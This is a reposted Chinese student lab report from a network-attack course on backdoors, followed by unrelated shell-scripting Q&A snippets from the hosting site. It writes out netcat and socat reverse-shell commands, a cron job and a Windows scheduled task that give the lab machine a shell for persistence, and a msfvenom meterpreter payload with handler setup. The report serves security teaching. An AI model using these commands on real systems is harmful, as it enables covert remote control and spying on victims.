2018-2019-2 网络对抗技术 20165335 Exp2 后门原理与实践

2023-11-06

一.基础问题回答:

  (1)例举你能想到的一个后门进入到你系统中的可能方式?

    钓鱼网站:搞一个假网站,假淘宝,盗版电影,文库下载文档什么的,下载东西的时候把带隐藏的后门程序附带下载进去,自启动,反弹连接。

    搞一个小网站,用iframe标签跳转到危险网页,自动下载程序。

  (2)例举你知道的后门如何启动起来(win及linux)的方式?

    修改注册表,开机的时候自启动

    利用操作系统漏洞,修改系统文件,利用系统自启动进行启动

  (3)Meterpreter有哪些给你映像深刻的功能?

    1.getuid指令 可以获得当前账户的进程权限,可以对用户的当前进程进行控制

    2.获得shell 获得计算机的shell权限,即可实现 Linux 的日常管理工作,可以通过shell删除日志什么的更好的隐藏后门

  (4)如何发现自己有系统有没有被安装后门?

    1.杀毒软件,防火墙:利用杀软过滤一些低级的普通后门

    2.管理注册表,防止修改注册表,看注册表

    3.查看端口,看看自己的计算机的端口那些在开放,都连了些啥,如果是一个来历不明的东西在占端口,就直接杀掉那个进程

          如果后门利用绑定合法的进程服务,隐藏在一个合法的端口,就抓包看是不是正常协议

    对于那些隐藏比较好的后门.......我觉得主要还是要发现她的隐藏方式,是利用系统文件漏洞还是植入在一个应用程序,对应的去研究。

二.常用后门工具以及shell的获得:

  1.先使用ipconfig查看当前主机的ip:

 

    再执行ncat.exe -l -p 5335指令开始监听:

    之后在kali中执行ncat 192.168.1.122 5335 -e /bin/sh反弹windows,其中-e的意思为执行shell程序

    

    windows获得shell成功:

    

  在kali中利用ifconfig查看其ip,并利用nc -l -p 5335打开监听。

 

  windows执行ncat.exe -e cmd.exe 192.168.171.130 5335反弹连接

  kali成功获取shell如图;

 三.使用nc传输数据与文件:

  windows使用命令ncat.exe -l 5335监听端口,kali使用指令:nc 192.168.1.122 5335反弹端口

  如果连接建立成功,双方可以相互传输数据  

  Windows监听5335端口,并用指令ncat.exe -l 5318 > file1.out保存数据到文件

  kali用指令nc  192.168.1.122 5335 < file1.in反弹连接到Windows的端口

  如果连接建立成功,Win可以收到kali发来的文件。

  四 meterpreter

    4.1 使用netcat获取主机操作Shell,cron启动

      1.在windows系统下,监听5335端口

      2.用crontab -e指令编辑·一个定时任务(crontab指令增加一条定时任务,"-e"表示编辑)第一次选择·3

      3.使用指令X * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh表示在每小时的第X分钟反向连接一次

 

      

      时间到达后出现效果为:

      

    4.2 使用socat获取主机操作Shell, 任务计划启动

      socat的格式为:socat [options] <address> <address> 

       socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。

     1.打开计算机管理:

     2.选择创建任务,新建一个触发器,触发器设置为锁屏后执行

     3.在操作设置中,参数设置为tcp-listen:5335 exec:cmd.exe,pty,stderr将cmd绑定端口,并实现重定向

     4.按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

      kali使用指令socat - tcp:192.168.1.122:5335实现shell获得:

  4.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

      kali使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.130 LPORT=5335 -f exe > 20165335_backdoor.ex生成一个后门。这里的IP地址为控制端IP,即LinuxIP

 

      windows下执行ncat.exe -l 5335 > 20165335_backdoor.exe进入接收文件模式

      接收成功!

      

 

   接下来就是运行后门程序了:

    纳尼.......拒绝访问,用管理员权限试一下.....

哈????????被系统制裁了.........

所有,windows系统就改用win7继续进行......
  在kali中进行一下操作获得shell:

    1.使用use exploit/multi/handler指令设置payload

    2.使用set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload

    3.使用set LHOST 指令建立连接

    4.set LPORT 5318连接端口

接下来就可以使用相应的指令啦

抓取屏幕:

获取录音:

摄像头......虚拟机没有找到摄像头,好吧

五.实验体会与感想:

  在上学期的信息安全技术课上,就学习过后门,远程控制的相关知识,不过,一直也没有自己实践过,通过这次的动手实践,我了解到了更多的细节,知道了实现后门植入的基本过程,以及远程端控制的方法,不过,对于后门程序本身的恶意代码编写上,还是不足,同时,后门的注入简单暴力,很容易被发现,而且隐藏与免杀也很难做到,在日后的学习中,还是希望可以有更深刻的理解与认识。    

转载于:https://www.cnblogs.com/x20165335/p/10577269.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2018-2019-2 网络对抗技术 20165335 Exp2 后门原理与实践 的相关文章

  • shell 脚本无法将命令行输出保存到变量中

    我正在尝试执行 shell 命令 然后使用 shell 脚本将输出保存到变量中 所以我使用这样的反引号 out ls l print out 该代码工作正常 我可以将它用于任何其他 shell 命令 但是当我尝试执行 python vers
  • 如何替换每行中出现的所有字符串?

    我想在以下脚本中将所有出现的 用户名 替换为 但它仅替换第一次出现的情况 ls al sed s username 这就是 sed 默认情况下的工作方式吗 提前致谢 你需要g 全局 修饰符 sed s username g
  • 将所有脚本参数复制到另一个变量

    我需要复制所有脚本参数并将它们传递给另一个脚本 我尝试这样做 args printargs sh args echo printargs sh args 但在这种情况下 如果我使用包含空格的参数调用我的父脚本 例如 script sh ar
  • 如何将文件中的值分配给 UNIX sh shell 中的变量?

    我一直在搜索这个网站 试图找到这个问题的答案 并发现了几个非常好的答案 不幸的是 它们都不适合我 这是我正在使用的脚本 VALUE cat szpfxct tmp export VALUE echo gt gt LGFILE echo te
  • 在 Ubuntu 上纯粹通过 bash 脚本安装 mysql 5.7

    我想要一个无需任何手动输入即可安装 MySQL 5 7 实例的 bash 脚本 我正在关注数字海洋教程 https www digitalocean com community tutorials how to install mysql
  • 使用 cURL 从 shell 发布 4GB 文件

    我尝试将文件大小为 4GB 的文件发布到 REST API cURL 不会上传此大小的文件 而是 POST 内容长度为 0 的文件 curl v i d work large png H Transfer Encoding chunked
  • 向伪 shell (pty) 发出命令

    我尝试使用 subprocess popen os spawn 来运行进程 但似乎需要伪终端 import pty master slave pty openpty os write master ls l 应该发送 ls l 到从属终端
  • Bash 脚本 - 迭代 find 的输出

    我有一个 bash 脚本 其中需要迭代 find 命令输出的每一行 但似乎我正在迭代 find 命令中的每个单词 以空格分隔 到目前为止我的脚本看起来像这样 folders find maxdepth 1 type d for i in f
  • 在powershell中检查文件是否可读且正常

    我是 powershell 新手 我想检查文件是否可读且正常 在 unix 中 我们可以使用 f 和 r 在一行中完成此操作 例如 以下 shell 脚本函数接受文件名作为参数并检查文件的可读性和规律性 与此等效的 powershell 是
  • 列出破折号中当前定义的函数?

    我想列出当前定义的函数dash 有什么办法可以做到这一点吗 我能想到的最接近的是type它可以用来测试一个函数是否存在 但除此之外我很困惑 附 我说的是dash在这里 不是bash or zsh 看看 exec c 似乎没有 没有 表是静态
  • 如何通过 shell 脚本确定网页是否存在?

    我正在尝试制作一个程序 可以将一系列漫画扫描转换为一个 pdf 文件 并且我不想尝试下载图片来确定我是否有正确的网址 是否有一个 shell 脚本命令可以用来检查网页是否存在 在 NIX 下 您可以使用curl发出一个简单的HEAD要求 H
  • 如何让“grep”从文件中读取模式?

    假设有一个很大的文本文件 我只想打印与某些模式不匹配的行 显然 我可以使用egrep v patter1 pattern2 pattern3 现在 如果所有这些模式都在一个文本文件中怎么办 最好的制作方法是什么egrep从文件中读取模式 g
  • 将“npm run start”的输出写入文件

    我想捕获的输出npm run start在一个文件中 我遇到了大量错误 我想更好地控制如何筛选输出 当我尝试时 npm run start gt log txt 我得到一个非常简短的文件 8 行 其结尾为 34m 39m 90m wdm 3
  • Bash 脚本大小限制?

    我有一个 bash 脚本 在 RHEL 或 OS X 上运行时出现以下错误 第 62484 行 意外标记 换行符 附近出现语法错误 第 62484 行 o gz 这是一个自动生成的脚本 用于解决我公司使用的 Grid Engine 计算集群
  • 如何将设备屏幕位置转换为发送事件位置?

    我知道关于input tap x yshell 命令 但是 我想了解如何 使用执行单击sendevent命令 我能够通过以下命令实现它 sendevent dev input event5 3 53 X sendevent dev inpu
  • awk: hping: 打印 icmp 发起/接收之间的差异

    我有以下输出hping http ports su net hping在 OpenBSD 上 hping icmp ts www openbsd org HPING www openbsd org re0 129 128 5 194 icm
  • 有一种简单的方法可以忽略时间戳来区分日志文件吗?

    我需要比较两个日志文件 但忽略每行的时间戳部分 确切地说是前 12 个字符 有没有一个好的工具 或者一个聪明的 awk 命令 可以帮助我 根据您使用的 shell 您可以改变方法 Blair https stackoverflow com
  • shell脚本中关联数组的时间复杂度

    我想知道在 shell 脚本中使用关联数组时如何构造 实现 另外 我想知道基于 shell 脚本的关联数组的时间复杂度是否是最佳的 因为我们可以使用字母和数字作为它们各自的键 编辑 他们使用什么哈希函数 如果您使用关联数组 则不能通过 使用
  • 通过powershell运行ADB命令

    所以我尝试通过 powershell 脚本运行一些 ADB 命令 这是我正在尝试做的一个简单示例 adb shell echo in adb shell su root echo you are now root ls cd data da
  • 如何执行“sudo nvm”?

    在我的 Mac 上 我想将一些需要 su 权限的包迁移到另一个节点版本 我使用 homebrew 安装 nvm 现在我需要执行 sudo nvm 或 reinstall packages将失败 me MacBook sudo nvm sud

随机推荐

  • 小程序中关于红包雨的实现

    一 原型依据 在我这个项目中小程序端所需要实现的只有红包雨的下落动画和通屏背景图的兼容 关于红包点击金额的计算是由后端实现的 首先来看下需要实现的效果图 二 实现代码 首先是第一次进入的页面 在这个页面的时候会进行静默登录 静默登录成功的话
  • webpack : 无法加载文件 C:\Program Files\nodejs\webpack.ps1

    webpack 无法加载文件 C Program Files nodejs webpack ps1 1 问题 2 解决办法 1 问题 使用webpack打包是报错如下 webpack 无法加载文件 C Program Files nodej
  • LINUX系统下:Cuda+Cudnn+Tensorflow-GPU环境配置学习总结

    1 cuda cudnn安装 1 1下载cuda 1 1 1查看系统支持的cuda版本 可以安装低于该版本的 不能超过该版本 nvidia smi 1 1 2下载cuda cuda历史版下载 1 2 3安装 1 找到下载的cuda文件所在的
  • CUnit用法总结

    简介 CUnit是一个用C语言写的单元测试库 它是一个简单的测试框架 提供了丰富的断言语句来测试常用的数据类型 此外 对于跑测试用例和反馈测试结果 CUnit都有一些不同的接口 它可以编译成动态库或者静态库 基本框架 CUnit是一个可以跨
  • sqlhelper集成dynamic多数据源的分页问题(非教学向)

    一 问题描述 最近接手 顶锅 了公司的框架维护工作 第一项任务就是集成dynamic多数据源框架 dynamic官方使用文档 本文不是教学 有兴趣的小伙伴可以自己查阅文档 集成dynamic之后 一切都很顺利 但是测试到SQLHelper框
  • SQLITE学习之SQLITE基础知识(一)

    1 SQLITE常见命令 sqlite常用命令被称为 SQLite 的点命令 这些命令的不同之处在于它们不以分号 结束 我们只需在ubuntu终端界面上的命令提示符 下键入一个简单的 sqlite3 命令 在 SQLite 命令提示符 gt
  • python解数独

    在学典型优化问题模型与算法的时候发现 暑假的解数独的部分 可以设计三个模型 比如唯一余数 基础摒除法等 让他们循环运行 同时设计一个步数 多次循环来找到步数最少的解题路径 当然还会遇到这三个模型解决不了的问题 这时候就需要增加模型了 sud
  • docker save和docker export区别

    两者区别 docker save用于导出镜像到文件 包含镜像元数据和历史信息 docker export用于将当前容器状态导出至文件 类似快照 所以不包含元数据及历史信息 体积更小 此外从容器快照导入时也可以重新指定标签和元数据信息 一 导
  • LINUX 系统编程之文件IO

    文件IO 属于系统IO 是系统内核向用户空间提供的接口 直接调用内核提供的系统调用函数 头文件是unistd h 1 open char s flag mode 在fcntl h头文件种声明 函数的作用 创建或打开某个文件 最多包含三个参数
  • java bean对象属性复制,将一个对象的属性值赋值给另一个对象,对象之间的复制方法

    注意依赖 springframework下的复制顺序为 目标对象 新对象 import org springframework beans BeanUtils public static void main String args Inte
  • java 获取 sessionid_通过sessionid获取session方法

    使用HttpSessionListener来监听session的创建和销毁 首先创建HttpSessionListener的实现类 SessionListeners java packagecom test importjava util
  • 【详细学习Docker部署搭建高可用的MySQL集群环境】

    一 MySQL高可用集群搭建 MySQL集群搭建在实际项目中是非常必须的 接下来我们来学习通过PXC Percona XtraDB Cluster 来实现强一致性数据库集群搭建 1 1 MySQL集群搭建 1 1 1 中央仓库查找相关镜像
  • 三年级计算机考试题目及答案,三年级信息技术试题及答案.doc

    三年级信息技术试题及答案 三年级信息技术期末试题 学校 班级 姓名 分数 一 单项选择题 共10题 每小题4 共计40分 1 计算机的心脏是 显示屏 鼠标 2 输入汉字时我们需要选择输入法 是我们使用的输入法之一 它的名字叫 五笔输入法 智
  • 【刷题笔记7】LeetCode 54. 螺旋矩阵(数组模拟)

    用分享的方式成长 用有趣的眼光看世界 欢迎来到12 26 25的博客 热爱编码 算法 知识总结 不定期更新有趣 有料 有营养内容 让我们共同学习 共同进步 系列索引 刷题笔记0 系列目录索引 持续更新 推荐收藏 本题题目 LeetCode
  • NVIDIA FasterTransformer

    NVIDIA FasterTransformer NVIDIA GPU计算专家团队针对transformer推理提出了性能优化方案 FasterTransformer 截止到2022年7月 这套方案支持的模型涵盖了BERT GPT Long
  • Mybatis整合Spring -- typeAliasesPackage

    Mybatis 整合 Spring integration MapperScannerConfigurer Mybatis整合Spring 根据官方的说法 在ibatis3 也就是Mybatis3问世之前 Spring3的开发工作就已经完成
  • python时间计算 周开始第一天和结束天 通过年周计算

    python def year mon for check year week 通过年周获取当前月 按每周最后一天的月份比对 最后一天为周日 end year week str year str week 0 end week result
  • xss入门闯关详解6-10关

    继续进行6 10关 第6关 简单的尝试之后发现闭合掉了 尝试空格或者大小写 tab绕过 大小写成功绕过 Onclick alert 1 第七关 老样子 value gt click alert 1 gt value gt lt gt ale
  • 取消idm下载器和google浏览器的关联(让谷歌浏览器禁止使用idm插件)

    https jingyan baidu com article 597035529ae46b8fc107405d html IDM下载安装成功之后 会自动默认关联你电脑上的所有浏览器 在使用浏览器下载的时候自动会变成IDM下载 如果不想让I
  • 2018-2019-2 网络对抗技术 20165335 Exp2 后门原理与实践

    一 基础问题回答 1 例举你能想到的一个后门进入到你系统中的可能方式 钓鱼网站 搞一个假网站 假淘宝 盗版电影 文库下载文档什么的 下载东西的时候把带隐藏的后门程序附带下载进去 自启动 反弹连接 搞一个小网站 用iframe标签跳转到危险网